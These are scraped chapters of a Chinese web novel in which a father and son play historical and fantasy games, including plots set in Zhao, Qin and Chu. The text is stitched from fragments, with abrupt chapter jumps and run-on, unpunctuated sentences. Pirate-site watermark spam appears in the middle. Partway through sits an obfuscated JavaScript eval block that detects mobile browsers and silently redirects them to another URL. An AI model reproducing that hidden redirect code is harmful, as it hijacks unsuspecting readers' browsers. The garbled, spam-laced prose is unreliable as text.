同服的朋友问问行情。 朋友回答: “神装可以刷啊,但是出货的概率太低了。包团不一定能出,估计包个几十次也出不了,这工作室是不是想坑你钱?” 像这种一直不出的东西,工作室就可以多刷几十次本,多赚包团的钱。毕竟神装的包团肯定不可能没出货就不给钱了,只是说出货后给的钱更多而已。 扶苏看完对工作室说: “神装出货概率太低了,还是算了。其他装备你们这里能买吗?价位给我看一下。” 客服遗憾地发来价位表。 第二天,朋友给他们发来组队邀请,兴奋地问要不要一起去打世界boss。 队伍里人还挺多。 扶苏发现他好几个朋友都在队里,不知道是早就转了服过来的,还是听说他回来玩游戏才转的。 这群人也是人才,和他父亲待在一起居然不拘谨。难得,好多人都很怕他阿父的。 秦政早有预料: “他们可能是陷入了我的虚假滤镜无法自拔。” 扶苏不解: “什么滤镜?” 秦政:“他们觉得我温柔。” 扶苏:“……对我是挺温柔的。” 游戏ID为花有缺的朋友催促: “扶苏快来!boss要开打了!” 扶苏不紧不慢: “不是世界boss吗?世界boss又不一定非得全程从头打到尾。” 只要符合一定的条件就能获得奖励,一般是造成多少有效输出、参与战斗多长时间这类的。 父子俩到地方的时候发现花有缺还有个规模挺大的帮会,一看排名不低,可见没少往里头砸钱。 这次的世界boss是一只蝶妖。 巨大的蝴蝶飞在半空中,对近战非常不友好。玩家们需要用各种技能将它拖拽下来,近战才能对它造成攻击,不然根本够不着。 秦政去试了一下伤害就回来了: “在前排死得太快了。” 他是用装备自带的逃脱技能瞬移回到人群后方才躲过一劫, 顿时放弃了去前排输出。 反正《妖魔》只要求参战五分钟就可以了,他加入的队伍持续战斗五分钟,他也能拿到摸宝箱的资质。 秦政干脆切换了盾牌,给儿子当起了随身保镖。周围人对此很是无语,没见过T在后方苟着的。 花有缺解释道: “这是我兄弟的父亲,我要喊一声叔叔的。” 帮内兄弟姐妹就懂了: “原来是叔叔啊!” 叔叔不会玩游戏很正常,可能就是来凑热闹的。那确实不好往前头跑,过去多死几次很影响游戏体验的。 秦政也没解释什么。 扶苏不太熟练地吹奏着新解锁的那堆技能。 昨天光顾着和父亲玩博弈游戏了,没想着提前练一练。现在临阵磨枪,几乎所有技能都是第一次用。 花有缺赶紧继续解释: “我兄弟刚玩这个游戏一天,昨天找代练升级的。” 队伍里组着的大神玩家就了然。 懂了,两位是来观光的。 虽然因此导致缺了两个正经玩家的位置,但反正队伍里已经有好几位阔少了。 花有缺自己操作也就中上,全靠氪金买到的高级装备撑场子。扶苏其他几个朋友里也没有特别厉害的高玩,顶多算是普通高手,甚至还有菜到抠脚的。 所以整体来说队伍水平参差不齐,大神们已经懒得管这个了。这世界boss周周都打,没什么要紧的,不用特别在意团队输出这些。 看扶苏练习吹笛子,有位听风楼的高手还跟他说了几个技能施展的要点。 她说: “你要是会吹的话,可以自己调整笛曲的速度。系统只判断你音吹对了没有,每个音的长短它是不管的。” 所以厉害的玩家可以吹二倍速三倍速,借此人为提升自己的攻击频率。 扶苏试了试,一首二倍速的《沧海一声笑》就吹了出来,技能确实成功施展了。 这首歌的效果是单体攻击。 从第一个音开始,造成一次攻击,这个时候的伤害和基础攻击差不多。往后会不断地提升,每一个音都是一次攻击,而且在之前的基础上伤害会增加一点。 整首曲子下来,所有音造成的伤害叠加在一起 ,就是个比较可观的扣血量了。 但是因为大部分玩家不会自己吹,只按照曲子本身的速度来吹的话,要花很长时间才能造成这么大的伤害,那就不太划算了。 扶苏吹完说: “这首曲子挺简单的吧,练练就能吹出完整版了。” 听风楼玩家摊手: “可是战斗中一紧张就容易出错,而且大家还要走位。” 能兼顾走位和吹奏的人本来就少。 除了攻击类的技能是这种生效方式,像是辅助类技能,则是会在吹奏的过程中一直保持技能效果。 不过这个就不能故意放慢速度吹个0.5倍速了,最低一倍速。 一般这种情况下,大家会直接选择托管,让系统操控着角色吹奏,避免因为吹得太慢被判断技能中止。 扶苏不爱打控制。 但绝大多数的听风楼玩家都是打控的,可以完全交给系统托管的控制型玩法非常适合手残玩家。 目前玩家界普遍认为听风楼是个辅助类的职业门派,据说大家最初还是从“杀手哥”开始认识听风楼的。 队伍里的玩家感慨: “可惜了,杀手哥昙花一现,后来都没听说过他的消息。他ID多少好像都没几个人知道,流传的图片和视频也特别模糊看不清楚长相。” 秦政忽然偏头看了儿子一眼,眼底笑意清晰明了。 扶苏:……! 扶苏心道幸好幸好,他可不想出走几个月,归来到处都贴满了自己的画报。 扶苏决定结束这个话题,当一个没有感情的杀boss机器。 他面无表情地吹奏起了第一段音。 别人一听: “好像是十面埋伏?” 十面埋伏本来是个琵琶曲,琵琶弹起来就很难了,笛子吹起来更不容易。别说自己吹,很多人就是用系统辅助也吹不好,会技能施展失败。 因为他们不懂该怎么换气。 虽然完整曲子吹下来是允许换气的,只要不吹错就不会中断技能。但换气太乱的话,会打断系统的托管节奏。 该吹声的时候你换气,技能该有的音你没吹出来,不断才怪。 然而这首曲子是攻击伤害相当高的一首了,它是根据目标人数来 第 242 章 秦王扶苏 第242章秦王扶苏 扶苏跳转进入下一个关卡。 虽然扶苏因为背下了书籍内容,不需要再去赵家进学。那群盯着他的人确定了他还在“不学无术”,不会因此对他产生太大的恶意,非要弄死他不可。 但扶苏再安分,也不妨碍有些人看他不顺眼,故意找他的茬。谁让秦赵血仇放在那里,长平之战还没过去多少年呢。 所以扶苏又一次面临了危机。 游戏的难度是越来越高的,所以这一次跳转时间线后,扶苏直接出现在了被围殴的现场。 他眼前一黑又一亮,接着迎面而来的就是一个拳头。 扶苏下意识躲开,没有被打中脸。但这群人本来也不是为了打脸的,打脸只是看起来伤势吓人而已。 下一秒,拳打脚踢朝着扶苏的驱赶和四肢袭来。 扶苏眸光一厉。 那一瞬间,他心里升起了一股自己都不知道来由的戾气。 分明只是游戏里的虚构故事,就算历史上当真发生过,也和他这个两千多年后的现代人没什么关系。 但扶苏依然生气了,非常生气。 秦政也眼神凌厉地扫向那几个围堵扶苏的人,却什么都做不了。 父子俩的神态在一瞬间同步。 始皇帝亲手养出来的又怎么会是柔弱小绵羊呢?当他不再藏锋,仅仅抬头的一个眼神,便将NPC唬得下意识后退一步。 扶苏站直身体,忽略了腹部隐隐的疼痛。他慢条斯理地揉了揉手腕,目光缓慢地从几人身上滑过。 NPC只是被吓到了一刹那,回神后难免生出“区区质子还敢这么看我”的恼羞成怒。眨眼间重新扑了过来,要给扶苏一点颜色看看。 扶苏一脚踢得其中一人踉跄后退。 这具身体日后能长成一米九以上的大高个,除了基因传承的原因之外,自然也少不了日常的锻炼。 扶苏又去军营里待过,学习过不少战斗技巧。他的打架不是普通贵族的花拳绣腿,精准地攻击关节和肌肉皮肤较为薄弱的位置,一对多也不落下风。 何况打架这种事情本来拼的就是狠劲。 不怕死的人战斗力才更强,扶苏心知肚明这是一 款游戏他有什么好顾虑的?反倒是NPC他们还不想把自己赔进去。 扶苏招招狠辣他也不知道自己为什么要打得那么狠。明明只是个游戏NPC他心里却升起一股想让这群人死的冲动。 当所有人倒在地上扶苏准备补刀将人脖子扭断时。秦政忽然伸手轻轻按住了儿子的肩膀。 秦政低声哄道: “阿苏可以了。” 扶苏顿了顿眼睛忽然有些酸涩: “阿父……” 秦政揽住儿子: “为了学会这些在军营里是不是吃了很多苦?当时不该把你丢到军营的。” 扶苏知道父亲是为他好。 虽然表面上把他丢去军营里 扶苏不爱出门除了有自己本来就喜欢宅在家里这个原因之外。也有减少出门次数避免被有心人抓到机会对他下手的顾虑在。 倒地哀嚎的几人缓了一会儿就灰溜溜地爬起来走了不敢再找扶苏的麻烦。 但是秦政牵着扶苏回到住处之后扶苏还是发起了高热。 因为这是这一关的固定剧情扶苏在关卡开始之前设定上就是已经被那群人揍了好一会儿的情况了。 扶苏是中途“穿”来的。 半夜扶苏顶着晕乎乎的脑袋自己去把窗户关好用薄被裹紧自己。秦政担忧得不行一款游戏为什么要让玩家体验生病的痛苦? 扶苏抓着父亲的手放在自己额头。 他闭上眼睛感觉舒服了很多: “是我大意了回来之后没有疗伤也没有考虑到自己可能会生病。” 受伤后身体免疫力降低而且那些人对他腹部的击打可能对内脏造成了一些刺激和损伤引发了如今的身体不适。 扶苏觉得自己缓一缓就好了。 父亲的手掌微凉因为观战者的设定就是旁观的游魂鬼魂总会带点阴气。扶苏不想拿别的东西降温他只想要阿父陪着他。 秦政便换着手给他捂脑袋。 扶苏怀疑自己这一关要翻车: “不提前处理伤势我会不会烧 死?” 秦政让他不许胡说: “这只是一个小关卡又不是后续的大关卡不至于。你躲过了挨揍应该就算过关了。” 所以后续这段剧情肯定别有目的。 扶苏就努力调动脑子思考: “难道是在考验我的意志力?” 黑夜只持续了几分钟就过去了天色亮了起来宅中唯一的仆从也总算发现了公子的病情去熬了药端来。 扶苏喝了药还是蔫蔫的。 毕竟他是个很讨厌苦味的人就算原本不蔫喝药也会蔫。 临近午时就有人强闯进来要找扶苏的麻烦。扶苏昨日揍翻的人里有赵国贵族他们当然咽不下这口气。 但扶苏脸色惨白地躺在床上让找茬的人一时也有些不知所措。尤其是扶苏这张脸经过一夜的沉淀开始出现不少青紫淤痕。 扶苏打人是不打脸的身上受伤远没有脸上受伤看着吓人。这么一对比来人都快怀疑到底是谁把谁打趴下了。 赵姬拦在床前: “你们不要太过分!我儿到底是秦国王孙他父亲可是秦国太子的嗣子!” 赵国贵族派来算账的人手一时有些为难。 扶苏咳嗽了一声虚弱的说: “我活着秦国不一定会为我声张但我死了秦国就有了再次发兵攻赵的完美借口诸位还想经历一次邯郸之围吗?” 来人面色微变。 在赵人心里秦王稷确实就是这种冷酷精明的形象。他那人不会在乎在外为质的儿孙却一定不会放过任何一个占便宜的机会。 虽然秦国近几年攻赵不太顺利但谁也不想去赌那个可能性。 毕竟秦国是条疯狗。 这些人来时气势汹汹去时面色沉郁。即便不想承认可他们确实被一个小孩子威胁到了。 他们还不敢把人拖下来揍一顿想着只要不打死就行。因为那小子瞧着就一副动他一下能原地去世的模样 赵姬神色复杂地看着床上的人: “你不该和他们打架的。” 打输了要挨揍打赢了也没有好处。 赵人不是因为觉得扶苏伤得比自家重才放弃算账的单纯只是畏惧暴秦。 如果没有这一层顾虑在,扶苏肯定又要挨一顿打。 扶苏冷笑: “是我先招惹的吗?” 赵姬就不说话了。 半晌,她轻声说道: “那能怪谁呢?谁叫你恰好是生在赵国的质子,你那狠心的父亲又肯抛弃你独自逃命。” 扶苏闭上眼睛不搭理她。 赵姬或许会觉得,儿子安分一点不去惹事,日子就能过得舒服些。 扶苏知道不可能,世仇摆在那里,他不惹事别人也会主动来犯。所以就得把那些人吓退,让他知道他不好惹,以后才会掂量着不再犯贱。 系统提示扶苏连续通过了两关,一关是遭受围殴,另一关就是事后找茬。 难怪中间要体验一把发烧,是在为第二关做铺垫。隐晦暗示玩家要把握好生病的这个客观因素,借此规避危险。 秦政轻轻伸手摸了摸儿子青紫的嘴角和眼眶,在他记忆里扶苏从来没有受过这种伤。 哪怕是假的,他也心疼。 扶苏握住父亲的指尖: “我没事,跳转下一关就好了。” 秦政盯着他握住自己手指的小手,像是在看扶苏小时候握不住父亲大掌那时,只能握着一根手指的模样。 他有些舍不得儿子长大了,难得看到扶苏变小的样子。但赵国的这段经历太坎坷,他更不希望儿子留在这里受苦。 秦政便催促扶苏: “跳吧,身上不疼了吗?” 扶苏弯唇笑了笑,牵动了伤口,轻轻嘶了一声。刚刚说那么多话都不喊疼,这会儿倒是装起可怜来了。 秦政什么都没说,只是反握住了他的小手。 下一段就是质子阶段的最后一关,如何说动赵王放公子政归国。这是整个阶段里难度最高的关卡,策划团队就没打算让玩家通关。 这一世的扶苏没有接受过帝王教育,但以前学过的东西总会在灵魂深处体现出来。 扶苏分析道: “常用手段就是贿赂能说得上话的人,请对方做个说客。” 战国时期这一招各国屡试不爽。 赵家恰好有钱,所以现在就缺两个说辞。 第一个说辞,要让目标愿意收钱并帮忙说话。能在赵王跟前说话管用 的人可不缺这点钱。 第二个说辞则是要能说动赵王放人离开。说客不一定自己有足够的智慧想到合适的说辞说服赵王他们可能只是单纯的跟赵王关系亲近而已。 秦政便问儿子: “人选和说辞你可有想法?” 扶苏问道: “平原君赵胜可以吗?” 秦政思索片刻缓缓点头: “要看你怎么说动他了。” 身为战国四公子之一的平原君赵胜已经到了迟暮之年。 今年赵胜就会去世将死之人其言也善。他又是名声赫赫的赵国封君是如今赵王的叔父说出的话很有分量。 扶苏先去说动了赵家出钱然后携带钱财去往赵胜府上拜见。 平原君猜到了他的来意: “秦王驾崩安国君继位你父亲如今成了大秦太子你想归国。” 扶苏谦逊地说道: “您果然敏锐我这点小心思瞒不过您这样的人物。” 平原君老了却依然眸光锐利: “我为何要助你?” 扶苏说: “太子如今只有二子他归国多年只得一子是韩女所出您应该清楚这一点意味着什么。” 如果秦子楚以后也只有这两个儿子下下任秦王绝对在他们两个里出。选韩女生的还是选赵女生的赵国需要犹豫吗? 各国都有这样的先例扶持一个质子归国夺位。一旦成功就算不能自此结为盟友到底也能借此插手一番敌国内政。 要不是公子政后来一统天下了赵国这个买卖是不至于血本无归的。 平原君沉吟着没有说话。 秦政却觉得稳妥了。 如果平原君没有心动他现在就不会是这个反应。他会直接否决说赵国无需利用这点。 他示意儿子点到为止可以告辞了。 质子可以聪明但不能太过聪明。引起赵国的忌惮不是什么好事。 当年赵武灵王扶持公子稷归国继位未尝不是看中秦稷归国后会被太后等人把持。先把秦稷送回去搅乱秦国局势而后看他们母子内斗。 在他的设想里母子俩或许会斗得旗鼓相当又或者年轻的公子斗不过母亲。 反正肯定不是看中秦稷有过人之资,以后可以长平之战碾压赵国。 所以现在的扶苏也不能表现出“等我去了秦国你们赵国就要完蛋了”的模样。 这些老狐狸喜欢有一点小聪明,但是不太多的敌人。 扶苏抿了抿唇。 他故意用忐忑的眼神看了一眼赵胜,对上了赵胜审视的目光。 这位保守赞誉的战国四公子试图用他老辣的目光,判断面前的这个孩童是否为潜龙,却只看到一双澄澈的眸子。 漂亮的桃花眼因为年幼,显得更加圆润可爱,充满了不谙世事的天真。 秦扶苏几百岁的时候都能用这样纯净的眼神看人,何况现在他是实打实的二十出头小年轻一个。 赵胜收回目光: “你先回吧,这件事我会考虑。” 扶苏便带着点失落地离开了,仿佛是在为没能当场得到准话而烦恼。 门客围观了全程,对赵胜说: “公子年纪还小呢,不够沉稳。” 赵胜不置可否: “他之前时常和贵族家的小孩打架,听那些孩子说他像个狼崽子。” 和现在的模样可不太一样。 门客笑了: “兔子急了还咬人呢,难道不是?” 赵胜疑虑尽消: “你说的也有道理,那些小子确实将人逼得太紧了。” 门客告辞离开,掂了掂腰间的荷包。 他虽然在帮赵国公子做事,但眼看着赵胜快死了。树倒猢狲散,以后还不知道能不能找到这么好的下家。 所以捞钱肯定是要多捞点的,免得竹篮打水一场空。至于这么做会不会对赵国不利,他又不是赵人。 过了一段时间,赵胜死了。 听说临死前赵王曾去探望过,不知道说了什么。赵王并未下令让人送公子政归国,叫人怀疑赵胜是不是没有帮忙游说。 但父子俩并不着急。 扶苏做了两手准备,他让赵家给秦国那边传消息。 赵王不在乎投不投资一个公子,秦子楚总不能不在乎两个独苗苗儿子中的一个吧?万一秦国那个出了点状况没养大,难道他要绝嗣吗? 所以公子政肯定是能回国的。 只 不过在这个游戏世界里玩家如果不做点什么推动剧情发展系统就会强行判断玩家通关失败而已。 扶苏在想: “应该不需要第三个保底了吧?” 秦政含笑看着他: “你还能想到第三种法子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555256|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶苏表示: “只是给赵王施压的一个行事思路需要等一段时间才能起效。” 秦政愿闻其详。 扶苏说: “燕国的相邦栗腹最近在赵国为赵王贺寿看似恭敬实则不然他怕是来打探虚实的。见赵国不仅经历了长平之战的伤痛能说动魏国窃符救赵的平原君赵胜也死了难免心思浮动。” 扶苏读过史书记得这一段记载是栗腹贺完寿归国后立刻就跟燕王喜说长平之战赵国损失了大量男丁国内的男童还未长成可以趁现在发兵进攻。 所以燕赵很快就能打起来了。 如果赵王实在不肯放人那就拿燕国来犯说事。 燕国大军虽然是个水货但人家架势很足。对外宣称足有六十万大军怎么也能吓唬赵王一下吧? 现在把秦国公子送回去还能博取秦国的好感免得真打起来了那边关系好的燕秦手牵手一起给赵国施压。 秦政反问: “若赵王担忧质子离开后没了牵制秦国的筹码反而叫秦国毫无后顾之忧地与燕国开战呢?” 扶苏眨了眨眼: “说得好像异人在邯郸的时候昭襄王有管过他的死活一样。何况扣押公子不归还只怕反而要惹怒秦王。” 秦政失笑: “正话反话都让你说了。” 说公子送回去能得到秦王好感的是他说秦王开战根本不在乎公子死活的也是他赵王听了能气笑。 扶苏扑到父亲怀里撒娇: “又不需要我一个人把这番话都说给赵王听可以叫几个人分别说。这样他们的观点互相矛盾 他这就是个最后的预防手段实际上前两套小连招肯定已经足够达成目的了。 秦政拥住他: “你又不是真的八岁小孩不许装嫩撒娇。” 扶苏才不听呢。 他顾左右而言他: “ 说起来阿父你的名字和始皇帝差不多,我的名字也和公子扶苏一样。阿父你是不是故意给我起这个名字的,你喜欢公子扶苏对不对?” 秦政微微一愣。 这一点秦政自己也说不上来,这样的巧合他分明应该早早就察觉的,但以前总是忽略掉。 秦政感觉有点微妙,出口却是: “我更喜欢我的扶苏,这只是个巧合。” 扶苏也没多想,只说: “我就知道你肯定只喜欢我一个。” 秦政点点他的小鼻子: “古人的醋你也吃。” 扶苏以S级的评价通关了第一阶段,系统进行了全服公告。 《王朝模拟器》的每个S级都会公告,但目前为止只有扶苏一个人打出了秦朝的S。其他的S都是从难度较低的王朝副本里拿到的,所以系统公告一出,就引起了剧烈反响。 可惜通关者并没有开放录像的观影播放权,大家只能在论坛里讨论对方到底是怎么通关的,无法亲眼看到。 扶苏已经开启了下一阶段。 第二阶段是归国后的公子时期,在这个阶段里,没有太过危险的宫斗桥段,有的只是争宠。 让父亲子楚看到自己、看重自己,压过弟弟成蟜一头,为后续继位做准备。 这个阶段是难度最低的一个,很多玩家尝试过后发现在这个阶段通关最简单。大部分人选择的是刷吕不韦的好感度,让这位相邦选择扶持自己上位。 鹅小说更新,记住域名qiexs㈥(请来企 鹅小说 看最新章节 完整章节) 但是不知道为什么,走这条路最高只能拿到A级评分。 扶苏坐在咸阳宫的学殿里。 参与学习的只有他一个,因为弟弟成蟜还小,没到启蒙的年纪。而秦王柱的其他子嗣都长大了,不必再在宫中进学。 扶苏点了暂停键。 他和父亲讨论起那些人拿不到S的原因。 扶苏托腮想了想: “是因为过度讨好吕不韦吗?” 秦政坐在儿子旁边,让他再想。 扶苏只好绞尽脑汁继续思考: “不能太过讨好权臣,也不能完全不讨好权臣。公子政没有筹码,肯定要去结交吕不韦的,但是结交不代表着我要唯唯诺诺,一点王孙公子的风范都没有。” 可这应该只是一个方面 ,因为阿父让他接着想,肯定还有他忽略的地方。 秦政见儿子苦思冥想,烦恼得小脸皱成一团,深觉可爱。伸手捏了捏他长胖了一些的小脸,终于肯丢下两个字作为提醒——“秦王。 那些人只顾着讨好吕不韦,不过是想着秦王子楚活不了两年就要驾崩。他们认为一个死人帮不到自己什么,不如能活很久大权在握的相邦有用。 这显然是走入了误区。 秦子楚活着的时候,吕不韦可不敢造次。讨好吕不韦固然可以成功继位,却会给自己埋下更多的隐患。 你爹这么一个大权在握的秦王你不去亲近,总有人会替你亲近。哪怕子楚考虑到国家安稳不会给成蟜太过分的优待,却也会无形之中增长成蟜的筹码。 所以这么通关的人,到了后续王弟反叛阶段,要吃更多苦头。 何况,子楚真的会顾虑长子吗? 从大一统王朝考虑安稳的角度来看,当然是打压无法继位的幼子,才对国家更有利,避免政权陷入动荡。 但换成乱世,或许作为秦王的人会觉得“大秦不需要一个守成之君,需要的是锐意进取的新王 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节)。于是刻意放任诸子争权,考察几个儿子里谁最有本事。 历代先王基本都是厮杀出来的,你公子政有什么好害怕厮杀的?如果子楚是个冷酷的君王,他完全可以故意把小儿子捧出来跟长子打擂台,借此磨砺长子。 欲戴王冠,必承其重。 想要完成大秦历代先王一直在努力的东吞伟业,你就得有足够的能力。而在深宫中的公子政没有其他磨砺的机会,弟弟就是他最好的磨刀石。 不过子楚显然没来得及布局这些,毕竟他刚即位没几年就死了。这个阶段他还没考虑到培养继承人的问题,主要干的是发展自己的事业。 扶苏大概明白了: “秦王和相邦两头抓,但是子楚其实没那么容易讨好。 能想到这么干的人肯定不少。 扶苏想不到完全是因为,他打心眼里就不觉得自己有必要去刻意讨好身为秦王的父亲。 太子殿下从小就是父亲的心头宝,他理所当然地觉得父亲肯定爱他。不需要他做任何事情,他就是父亲心里的第一位。 何况今生他还是独生子,那就更 第 243 章 【西幻邪神】 第243章【西幻邪神】 攻打韩国的过程几乎不会出意外,扶苏就放心大胆地跳时间线了。 等拿下韩国,他又开始对赵国下手。 这个时间点赵国和燕国正在开战,历史上秦国打着援助盟友燕国的旗号,跑去攻赵。 最初的两年战果不错,当时赵王也快死了,秦国算是形势一片大好。 但是隔年新任赵王迁上位后,郭开把持朝政,做主换上李牧接替战死的扈辄成为主将,秦国就迎来了一场几乎算是全军覆没的惨败。 当时,距离秦王政任用尉缭也才过去两年。尉缭的贿赂还未渗透得太深,郭开并不卖秦国的面子。 而且郭开那会儿刚刚大权在握,还没享受够赵国的权柄。秦国却已经大军列阵邯郸之外,都城危在旦夕。郭开当然不肯坐以待毙,说什么都会拼死一搏的。 扶苏在思考: “是不是我大秦给郭开的压力还不够呢?” 现在大秦先拿下韩国,给了六国一个下马威。郭开是否会认为和秦国对着干很难有个好结果,从而提前放弃挣扎? 现阶段李牧虽然也是朝中重将,对秦的作战却一般都是扈辄等人领兵,李牧基本只留在北地抗击匈奴和燕人。只要扈辄不死,以郭开和赵王迁的脑子,应该想不到换李牧替上去。 不是所有人都有识人之明的,郭开任用李牧只是单纯因为朝中无将而已。 秦政思索片刻,说道: “你不能完全寄希望于敌人会怎么做,还要提前做好应对的准备。” 扶苏眸光一转: “我知道了。” 李牧是从北地被紧急调回来领兵的,当时换将换得太突然,秦国也没料到会半路杀出个李牧。 倘若早有准备的话,完全可以让李牧没机会和大军汇合。又或者,趁着李牧赶来之前就攻破邯郸。 扶苏忽然又起了坏心眼: “秦对赵会惨败,因为当时李牧对上的是桓齮将军。不若换王翦领兵把守南北要道,拦一拦李牧。” 秦政失笑: “李牧快马轻骑赶去邯郸,又不是率领大军南下。” 这么做有些浪费了。 扶苏一想也是: “那还是让王翦去攻邯郸吧换旁人去堵门。” 虽然不一定能堵住但只要速度够快李牧就赶不上趟。只是大秦也不可能轻轻松松就把邯郸打下来前期的军事消耗还是有必要的。 扶苏和将军们商量了一番认为接下来的战事要以打击赵国有生力量为重。 这招缺德却很有效。 趁着燕赵开战之际多支援一下燕国。等赵国露出疲态之后再全力一搏给赵国致命一击。 楚国对于秦国擅作主张吞了韩国表示不满可秦国有正当理由。 扶苏一卷国书回复让楚王少多管闲事。 他们大秦花了十多年好不容易修完郑国渠现在知道是个骗局正生气呢你是不是讨打。 给楚王悍气得。 一怒之下怒了一下。 没办法经过扶苏十年来持之以恒地挑拨现在楚系和吕系都没讨到好。扶苏反手把自己亲信扶上去当相邦了楚国对秦国的干预能力下降。 而且失去了楚考烈王和春申君的楚国经常被秦国按着打。 楚王悍自己都被舅舅把持 扶苏敷衍地应付着各国的询问。 问就是暂时占领一下韩都新郑出口恶气等出完气就会把韩王放回去的。 那魏王以前还经常派兵驻扎在邯郸不走呢也没见赵国怎么样对吧?你凭什么说我秦国灭了韩国?说话要讲证据的! 赵王:…… 韩王:…… 当然一旦赵国也被大秦占领了扶苏现在说的什么“会把韩王放回去”显然就都是屁话了这两国会实打实地灭国。 但是无所谓生气的只有NPC。NPC生气不算数所以这件事里无人受伤。 魏王和楚王只能私底下痛斥秦王政无赖和惠文王昭襄王一个路数出来的。 秦政叹气: “以前网上都笑话秦始皇给祖宗的缺德行为背锅自己明明什么都没做。” 现在扶苏这个操作一出来——谁还分得清嬴驷嬴稷和嬴政?! 只怕再有人澄清完璧归赵这些不是秦始皇做的别人都要反驳一句: “不会吧?我看秦始 皇确实是这样的缺德鬼啊怎么可能不是他做的?” 想想就糟心。 扶苏安慰阿父: “没关系这是个游戏副本没有后世的。” 秦政:那你最好不要把录屏往外发。 扶苏除了搞军事上的霸凌之外也没忘了借用吕不韦的商业人手搞点背地里的布置。 这一局里吕不韦没有犯进献嫪毐的重罪也没有数年大权在握掣肘秦王他的权势也不曾威胁到君王统治。所以扶苏留了他一命正好派去处理经济上的事务。 所以眼线排布到代地 扶苏很快发现想要盯住李牧的动向并不难。现阶段李牧不是什么王牌他自己都没有隐藏行踪的意思。 秦国一直不杀扈辄李牧这里就一直没有收到调遣的消息。赵王放他继续待在北边和燕国打仗郭开虽然警惕秦国却也没有换将的想法。 直到秦国觉得差不多了开始发动总攻。 秦将早就商议过了要怎么快速拿下赵国。赵国已经没有别的大将了对上王翦只有李牧有胜算而且军力上赵国也吃亏。 秦军以迅捷之势将战线推向了邯郸扈辄战死十万赵军覆灭。赵王迁紧急调遣李牧作为统帅秦国重点防备着李牧赶往南边。 结果李信领兵在邯郸附近协防的时候逮到了送信的使者。 秦国商队的人手一头在北地监控李牧的动向一旦李牧南下就阻击。一头在邯郸监控赵都的情况传令兵出城立刻告知秦国。 秦国这会儿还没围困邯郸所以都城内外来往倒是不太困难。消息传出去后李信带着骑兵恰好在那一带驻扎可不是一抓一个准。 信都没送出去李牧总不能隔空听说赵王要任命自己。 秦军大喜。 赵国就这么稀里糊涂没了等李牧得知此事的时候事情已成定局。他一个北地将领总不能领着赵国残部率众反抗赵王都已经投降了。 扶苏愉快地给李牧将军写信: “我见曹操给谋士写情书效果很不错。我来试试给李将军写信看他吃不吃甜言蜜语这一套。” 秦政微妙地顿了顿: “你可以试试。” 而后又示意儿 子别写的太过火,毕竟先秦时期南风盛行,免得传出绯闻来。 扶苏一想也是: “那我就写另一种风格的。” 比如求贤若渴那个方向,画大饼,跟李牧描绘未来的美好蓝图。在现代见识过那么多画饼的套路,忽悠个耿直的李老将军应该不难。 秦政:你高兴就好。 拿下赵国后,放眼望去已经没有敌手了。楚国?楚国很快就要陷入内斗了。 秦始皇攻楚那会儿,楚国的内部还算太平,属实是没赶上好时候。其实往前推几年,就秦国和赵国酣战的时期,楚国正在为了王位争夺。 ——或许也正是因为内乱,才没有及时对秦灭赵一事做出反应。 当时楚幽王死了,同母弟弟继位。楚人趁机质疑楚幽王和其弟不是楚考烈王的亲生子,而是春申君的儿子。然后把弟弟砍了,他们的舅家也被一并干掉。 但舅舅李园是楚国实际意义上的掌控者,他一死,短期内楚国肯定要乱。哪怕新任楚王会趁机夺权,也需要一定的时间去消化吸收。 扶苏一边安排攻魏的事情,一边和父亲吐槽汉朝人编故事都一个套路。 司马迁写《史记》的时候说赵姬怀孕后才嫁给子楚,又说李园的妹妹怀着春申君的孩子嫁给楚王。 也不知道是司马迁偏爱这种剧情,还是先秦时期的人们偏爱这种编法。不然怎么那么巧,同一时期的两个国君都有类似的谣言。 扶苏忽然灵光一闪: “我知道了。” 秦政侧目: “你知道什么了?” 扶苏忽然想通了: “楚幽王是不是楚考烈王的儿子我不清楚,毕竟史册也没记载他娘是入宫多久生下的他。说不定就是楚王负刍为了上位捏造的谣言,用来打击政敌的。” 秦政示意他继续说。 扶苏冷笑着说: “众所周知,六国人特别喜欢给秦始皇造各种谣。哪有那么巧,前头一个楚幽王背上了这个骂名,秦王政就同样也有了类似的传闻?别不是听过这个故事的楚国人故意的,把自己听过的故事往秦始皇身上套。” 毕竟嬴政的出生记载很明确,赵姬在嫁给子楚十二个月后生下嬴政。哪家妇人能怀孕十二个月产子的,秦 始皇的出身怎么看都不该有争议才对。 除非有人故意给他泼脏水,不然不会有类似的传闻。而会恰好编个故事和楚国那个相似度如此高的,基本就是楚国人干的了。 这种事情楚国干的还少吗?记载中尉缭曾经说过秦始皇长相丑陋,大概率也是这群人编的。 而将自己听过的故事套用到秦始皇身上,这个操作也同样不是头一回了。 比如孟姜女哭长城,一开始就是齐国的事情,莫名其妙变成了秦始皇干的。 且最初没有哭长城这个剧情,就是单纯地向齐侯控诉自己丈夫死了自己只能在郊外吊唁。她丈夫是齐国武将,为了齐国攻打莒国而战死,她要求宗室都去吊唁她的丈夫。 后来西汉宗亲刘向在《说苑》里加上了哭城墙的剧情,说她哭完城墙就崩塌了。唐朝的贯休诗作又把它移栽到秦朝,直接跨越了三百多年。 说起来,《说苑》这部小说集里写了不少秦始皇的谣言,比如坑儒。 秦政听完后摸了摸儿子的脑袋: “私底下悄悄研究这些多久了? 扶苏不肯承认: “没有,我就随便看看史料。 秦政也不追问,只道: “假的永远是假的,真相总有大白的一日。正如此刻,你能搜索到相关文献,说明有人已经在为秦始皇澄清了。 未来只会有越来越多的人明辨是非,当以后资料里删除了谬误的部分,就不会再有人误解了。 扶苏冷哼一声: “便宜那些造谣的家伙了。 扶苏到底没用造谣的招数对付楚王,想要楚国内乱根本无需这么迂回。楚国境内多的是人想把李园和楚王悍拉下马,挑拨他们动手就是了。 想借机上位的人,自己会找到借口出手的,用不着外人去给他们送借口。 